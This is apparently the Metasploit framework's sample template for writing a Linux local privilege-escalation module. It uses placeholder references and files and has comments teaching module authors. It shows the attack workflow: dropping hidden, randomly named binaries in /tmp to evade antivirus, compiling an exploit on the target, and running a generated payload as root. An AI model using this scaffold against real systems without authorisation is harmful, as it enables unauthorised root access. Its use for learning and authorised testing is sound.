This Metasploit exploit module illustrates how a vulnerability could be exploited in a linux command for privilege escalation.
484a242e6e523fab95eb0bf3936e9709
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in a command on a linux computer for priv esc.
#
###
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
# The Name should be just like the line of a Git commit - software name,
# vuln type, class. Preferably apply
# some search optimization so people can actually find the module.
# We encourage consistency between module name and file name.
'Name' => 'Sample Linux Priv Esc',
'Description' => %q(
This exploit module illustrates how a vulnerability could be exploited
in an linux command for priv esc.
),
'License' => MSF_LICENSE,
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
# Add reference to additional authors, like those creating original proof of concepts or
# reference materials.
# It is also common to comment in who did what (PoC vs metasploit module, etc)
'Author' =>
[
'h00die <[email protected]>', # msf module
'researcher' # original PoC, analysis
],
'Platform' => [ 'linux' ],
# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit
# may only apply to say ARCH_PPC or something else, where a specific arch is required.
# A full list is available in lib/msf/core/payload/uuid.rb
'Arch' => [ ARCH_X86, ARCH_X64 ],
# What types of sessions we can use this module in conjunction with. Most modules use libraries
# which work on shell and meterpreter, but there may be a nuance between one of them, so best to
# test both to ensure compatibility.
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
# since privilege escalation modules typically result in elevated privileges, this is
# generally set to true
'Privileged' => true,
'References' =>
[
[ 'OSVDB', '12345' ],
[ 'EDB', '12345' ],
[ 'URL', 'http://www.example.com'],
[ 'CVE', '1978-1234']
],
'DisclosureDate' => "Nov 29 2019",
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
# It's generally easiest just to put the default at the beginning of the list and skip this
# entirely.
'DefaultTarget' => 0
)
)
# We typically drop a pre-compiled exploit to disk and run it, however the option
# is left for the user to gcc it themselves if there is an add OS or other dependency
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ])
]
# force exploit is used to bypass the check command results
register_advanced_options [
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
end
# Simplify and standardize uploading a file
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
end
# Simplify uploading and chmoding a file
def upload_and_chmodx(path, data)
upload path, data
chmod path
register_file_for_cleanup path
end
# Simplify uploading and compiling a file
def upload_and_compile(path, data, gcc_args='')
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
if gcc_args.to_s.blank?
gcc_cmd << " #{gcc_args}"
end
output = cmd_exec gcc_cmd
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
register_file_for_cleanup path
chmod path
end
# Pull the exploit binary or file (.c typically) from our system
def exploit_data(file)
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'DOES_NOT_EXIST', file)
end
# If we're going to live compile on the system, check gcc is installed
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
# Check the kernel version to see if its in a vulnerable range
release = kernel_release
if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||
Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"
# Check the app is installed and the version, debian based example
package = cmd_exec('dpkg -l example | grep \'^ii\'')
if package && package.include?('1:2015.3.14AR.1-1build1')
print_good("Vulnerable app version #{package} detected")
CheckCode::Appears
end
CheckCode::Safe
end
#
# The exploit method drops a payload file to the system, then either compiles and runs
# or just runs the exploit on the system.
#
def exploit
# First check the system is vulnerable, or the user wants to run regardless
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
# Check if we're already root
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end
end
# Make sure we can write our exploit and payload to the remote system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload exploit executable, writing to a random name so AV doesn't have too easy a job
executable_name = ".#{rand_text_alphanumeric(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, strip_comments(exploit_data('example.c'))
rm_f "#{executable_path}.c"
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('example')
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
# output from the exploit being run, they can optionally see it
timeout = 30
print_status "Launching exploit..."
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
end